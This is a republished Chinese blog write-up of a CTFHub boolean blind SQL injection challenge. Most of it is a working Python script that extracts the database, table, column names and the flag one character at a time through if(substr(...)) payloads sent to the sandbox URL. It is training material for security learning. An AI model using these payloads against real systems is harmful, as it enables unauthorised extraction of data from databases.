zoukankan      html  css  js  c++  java
  • ctfhub技能树—sql注入—布尔盲注

    打开靶机

    查看页面信息

    开始试验,查看返回信息

    此题存在一个问题,如果没有数据,也是返回query_success

    如此一来,就无法使用and组合进行注入,在看了其他大佬的解题过程后,知道了可以使用“if()”进行注入

    附上链接

    https://blog.csdn.net/weixin_44732566/article/details/104455318
    if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

    于是根据该文章提示,写出如下脚本

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import requests
    import sys
    session=requests.session()
    url = "http://challenge-2d36497ea5cb2b8c.sandbox.ctfhub.com:10080/?id="
    name = ""
    
    # for k in range(1,10):
    #     for i in range(1,10):
    #         print(i)
    #         for j in range(31,128):
    #             j = (128+31) -j
    #             str_ascii=chr(j)
    #             #数据库名
    #             #payolad = "if(substr(database(),%s,1) = '%s',1,(select table_name from information_schema.tables))"%(str(i),str(str_ascii))
    #             #表名
    #             #payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,i,str(str_ascii))
    #             #字段名
    #             payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str(str_ascii))
    #             str_get = session.get(url=url + payolad).text
    #             if "query_success" in str_get:
    #                 if str_ascii=="+":
    #                    sys.exit()
    #                 else:
    #                     name+=str_ascii
    #                     break
    #         print(name)
    
    #查询字段内容
    for i in range(1,50):
        print(i)
        for j in range(31,128):
            j = (128+31) -j
            str_ascii=chr(j)
            payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(i,str_ascii)
            str_get = session.get(url=url + payolad).text
            if "query_success" in str_get:
                if str_ascii == "+":
                    sys.exit()
                else:
                    name += str_ascii
                    break
        print(name)

    具体实验如下

    查询数据库名

     查询表名

     查询字段名

     查询字段信息

     成功拿到flag

    脚本写的过程中用了多次循环,每次循环都会发送一个get请求,所以可能会报错,无法继续运行,如果遇到这种情况,请重新执行脚本

    报错内容如下(技艺不精)

    如果一直报错无法得到正确答案建议分多组运行

    更改(for i in range(1,50))为(for i in range(1,30),for i in range(25,50))

    如果还是不行就再多分一组

  • 相关阅读:
    排序算法的稳定性
    字符串处理常用函数
    判断两棵二叉树是否相等
    约瑟夫环
    自加++
    Linux 安装配置 Tomcat
    在 eclipse 中将 web 项目部署到 tomcat 服务器上
    PHP连接MySQL数据库
    logback
    Log4J
  • 原文地址:https://www.cnblogs.com/anweilx/p/12469595.html
Copyright © 2011-2022 走看看